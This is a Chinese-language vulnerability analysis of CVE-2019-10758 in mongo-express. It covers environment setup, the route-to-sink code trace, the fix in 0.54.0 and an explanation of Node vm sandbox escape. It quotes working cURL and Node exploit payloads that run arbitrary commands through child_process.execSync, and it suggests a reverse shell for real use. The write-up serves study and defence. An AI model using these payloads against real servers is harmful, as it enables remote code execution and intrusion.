下面是对漏洞的描述:

mongo-express before 0.54.0 is vulnerable to Remote Code Execution via endpoints that uses the toBSON method. A misuse of the vm dependency to perform exec commands in a non-safe environment.

环境搭建

漏洞复现需要准备的环境有:

  1. MongoDB
  2. node & npm
  3. mongo-express < 0.54.0

因此可采用如下命令准备环境:

docker run -p 27017:27017 -d mongo
npm install mongo-express@0.53.0
cd node_modules/mongo-express/ && npm start

漏洞分析

首先看一下作者贴的两个 exploit:

cURL exploit

curl 'http://localhost:8081/checkValid' -H 'Authorization: Basic YWRtaW46cGFzcw=='  --data 'document=this.constructor.constructor("return process")().mainModule.require("child_process").execSync("/Applications/Calculator.app/Contents/MacOS/Calculator")'

Script exploit

node main.js
exploit = "this.constructor.constructor(\"return process\")().mainModule.require('child_process').execSync('/Applications/Calculator.app/Contents/MacOS/Calculator')"var bson = require('mongo-express/lib/bson')
bson.toBSON(exploit)

很明显从 exploit 中我们能明显得出以下两个结论:

  1. 存在 RCE 漏洞的代码位于 mongo-express/lib/bson
  2. 路由 /checkValid 从外部接收输入,并调用了存在 RCE 漏洞的代码,由此存在被攻击的风险

首先定位可以接受外界输入的路由 https://github.com/mongo-express/mongo-express/blob/v0.53.0/lib/router.js:

const router = function (config) {// 省略其他无关代码const appRouter = express.Router();appRouter.post('/checkValid', mongoMiddleware, configuredRoutes.checkValid);return appRouter;
}

继续定位 https://github.com/mongo-express/mongo-express/blob/v0.53.0/lib/routes/document.js:

var routes = function (config) {// 省略其他无关代码var exp = {};exp.checkValid = function (req, res) {var doc = req.body.document;try {bson.toBSON(doc);} catch (err) {console.error(err);return res.send('Invalid');}res.send('Valid');};return exp;
}

可以很明显看到这里会从 POST 请求中读取 document 并作为参数继续调用 bson.toBSON(doc);,而根据我们之前的分析,漏洞代码有 99% 的可能性位于 bson.toBSON 函数内,所以继续分析源码,https://github.com/mongo-express/mongo-express/blob/v0.53.0/lib/bson.js:

var mongodb = require('mongodb');
var vm      = require('vm');
var json    = require('./json');// 省略一些无关代码//JSON.parse doesn't support BSON data types
//Document is evaluated in a vm in order to support BSON data types
//Sandbox contains BSON data type functions from node-mongodb-native
exports.toBSON = function (string) {var sandbox = exports.getSandbox();string = string.replace(/ISODate\(/g, 'new ISODate(');string = string.replace(/Binary\(("[^"]+"),/g, 'Binary(new Buffer($1, "base64"),');vm.runInNewContext('doc = eval((' + string + '));', sandbox);return sandbox.doc;
};// This function as the name suggests attempts to parse
// the free form string in to BSON, since the possibilities of failure
// are higher, this function uses a try..catch
exports.toSafeBSON = function (string) {try {var bsonObject = exports.toBSON(string);return bsonObject;} catch (err) {return null;}
};

重点出现!>>> vm.runInNewContext('doc = eval((' + string + '));', sandbox);

对 nodejs 的沙箱逃逸有所关注的朋友很容易就能注意到这段代码和 vm 沙盒逃逸代码 demo 的惊人相似:

const vm = require('vm');vm.runInNewContext('this.constructor.constructor("return process")().exit()');

在这里,由于用户输入的最终会被拼接上 eval,所以很容易就能导致 RCE。可以看到作者的 exploit 就是获得全局上下文后直接导入 child_process 来执行系统命令:

this.constructor.constructor("return process")().mainModule.require('child_process').execSync('/Applications/Calculator.app/Contents/MacOS/Calculator')

不过由于这是个没有回显的 RCE,因此在实际漏洞利用的时候可能需要反弹 shell 之类的操作来辅助漏洞的利用。

攻击链回顾

  1. 路由 /checkValid 可以接收用户的输入,并将其作为参数调用存在漏洞的 bson.toBSON 函数
  2. bson.toBSON 使用了不安全的 vm 模块来执行用户输入的代码
  3. 恶意代码在执行时成功沙盒逃逸,任意代码执行

漏洞修复

查看修复了漏洞的 v0.54.0 版本的源代码,https://github.com/mongo-express/mongo-express/blob/v0.54.0/lib/bson.js, 可以看到作者废弃了之前 vm + eval 的思路,使用了另一个库来实现该功能:

const parser = require('mongodb-query-parser');
// 省略无关代码
exports.toBSON = function (string) {return parser(string);
};// This function as the name suggests attempts to parse
// the free form string in to BSON, since the possibilities of failure
// are higher, this function uses a try..catch
exports.toSafeBSON = function (string) {try {var bsonObject = exports.toBSON(string);return bsonObject;} catch (err) {return null;}
};

好吧,既然没有了 vm 那当然没有沙盒逃逸更没有 RCE 了 :(

补充:vm 沙盒逃逸

写到这里再来补充点 vm 沙盒逃逸的知识,方便加深大家对该漏洞的理解:

以漏洞代码为例:

vm.runInNewContext('doc = eval((' + string + '));', sandbox);

这段代码等价于:

const vm = require('vm');const script = new vm.Script('doc = eval((' + string + '));');
const context = vm.createContext(sandbox);script.runInContext(context);

对象 sandbox 就是 vm 中脚本执行时的上下文环境 context,vm 脚本中全局 this 指向的就是该对象。

然后如果我们的输入是上文所示的 exploit 的话, vm 中的代码大致等价为:

// this -> 传入的 sandbox
const ObjectConstructor = this.constructor; // 获取 Object 对象构造函数
const FunctionConstructor = ObjectConstructor.constructor; // 获取 Function 对象构造函数
const myfun = FunctionConstructor('return process'); // 构造一个函数,返回process全局变量
const process = myfun(); // 获得全局 process 变量
process.mainModule.require("child_process").execSync("/Applications/Calculator.app/Contents/MacOS/Calculator") // 全局变量简直为所欲为

可以看到 vm 模块不安全的核心问题在于:vm 内脚本的 context 对象是在主程序中定义的,根据 JS 原型链原理,可以轻松获得主程序中的 Function 对象。然后如果用主程序的 Function 对象构造一个函数,那么该函数运行时的上下文环境必然位于主程序中,由此获得了主程序的上下文环境,成功沙盒逃逸!

靶机环境:
https://vulhub.org/#/environments/mongo-express/CVE-2019-10758/

cve-2019-10758 mongo-express rce 漏洞分析相关推荐

  1. 通达OA任意文件上传/文件包含RCE漏洞分析

    通达OA任意文件上传/文件包含RCE漏洞分析 0x01 前提 0x01 漏洞介绍 0x02 漏洞分析 首先下载安装 绕过身份验证文件上传部分 变量传递问题 文件包含部分 0x01 前提 关于这个漏洞的 ...

  2. php5漏洞汇总,ThinkPHP 5.x RCE 漏洞分析与利用总结

    一.ThinkPHP 5.0.23 rce漏洞复现与总结 漏洞复现 thinkphp 5.0.23 rce thinkphp 5.0.23 rce源码下载: github:https://github ...

  3. CVE-2022-22947 SpringCloud GateWay SPEL RCE 漏洞分析

    漏洞概要 Spring Cloud Gateway 是Spring Cloud 生态中的API网关,包含限流.过滤等API治理功能. Spring官方在2022年3月1日发布新版本修复了Spring ...

  4. WebLogic CVE-2021-2394 RCE 漏洞分析

    漏洞简述 2021年3月15日墨云安全V-Lab实验室向Oracle官方报告了Weblogic Server RCE漏洞,2021年7月21日Oracle发布了致谢信息. 这是一个二次反序列化漏洞,是 ...

  5. cve-2017-12629 apache solr xxe rce 漏洞分析

    Versions Affected Apache Solr before 7.1.0 with Apache Lucene before 7.1 Elasticsearch, although it ...

  6. opensns v6.2.0前台RCE漏洞分析

    最近准备进一步学习下代码审计,因此打算找些历史漏洞分析学习下.(啥时候我也能挖出前台rce呢 本次漏洞的入口点在于 Application/Weibo/Controller/ShareControll ...

  7. CVE-2022-22965 漏洞分析,安全问题早发现

    本文分享自华为云社区<CVE-2022-22965 漏洞分析>,作者:Xuuuu. CVE-2022-22965 A Spring MVC or Spring WebFlux applic ...

  8. Cobalt Strike RCE漏洞浅析

    0x01 前言 本次我们要讲的是前段时间传的比较火的Cobalt Strike RCE漏洞分析,你们也可以当作我是在炒冷饭,我也是最近才有时间去研究了一下,不得不说,漏洞触发确实有点意思,发现的人也是 ...

  9. common-collections中Java反序列化漏洞导致的RCE原理分析

    2019独角兽企业重金招聘Python工程师标准>>> common-collections中Java反序列化漏洞导致的RCE原理分析 隐形人真忙 · 2015/11/11 22:4 ...

最新文章

  1. 把委托说透(4):委托与设计模式
  2. VBA学习笔记(一):自动添加代码VBA修改注册表
  3. 三坐标测量圆直径_RationalDMIS 7.1 如何准确测量圆/圆弧直径
  4. 应该算是在说 delphi 的日志框架吧
  5. python3自动化软件发布系统_基于python3做C/S端自动化测试可能用到的工具(不断更新中。。。。)...
  6. 数字的补数——力扣476
  7. java中常见数据库字段类型与java.sql.Types的对应
  8. 开题报告方案论证_【实验科研】我校五项省教育规划教研专项重点课题开题
  9. React 毁了 Web 开发?
  10. 强连通图------(1)通过两次DFS或BFS判断是不是强连通图
  11. android 逆地址,Android高德获取逆地址编码(经纬度坐标-地址描述如省市区街道)
  12. python求解偏微分方程_Python数值计算----------求解简单的偏微分方程
  13. 一步步学习微软InfoPath2010和SP2010--第五章节--添加逻辑和规则到表单(1)--InfoPath中初级类型的表单逻辑
  14. Win10系统安装Ubuntu系统
  15. IT行业毕业生投简历或面试技巧
  16. 不同主机之间通过XDMCP协议通信(X-server和X-client不在同一主机)
  17. [微软中国]秋季校园招聘开启了(可内推)
  18. DOSBox 0.74 汇编 out of memery test.asm(2):out of memory
  19. java for循环打印平行四边形,正三角形,菱形和空心菱形
  20. 人工智能ai的有关专业术语_您需要知道的11个人工智能术语

热门文章

  1. html文标题党,做好合格“标题党”
  2. android模糊后面视频,在安卓手机上怎么制作中间是横视频上下是模糊效果的竖视频?手机视频短片制作...
  3. AWS — AWS Direct Connect
  4. 互联网协议 — TCP — 流量控制(网络质量保障)
  5. Go 语言编程 — gormigrate GORM 的数据库迁移助手
  6. 请投上您的一票,助力 2019 开源基础设施峰会
  7. 电流控制型开关电源的基本电路
  8. 收集国内著名互联网公司前端/UED部门的blog,方便学习交流
  9. linux 文件目录
  10. HTML 基础知识回顾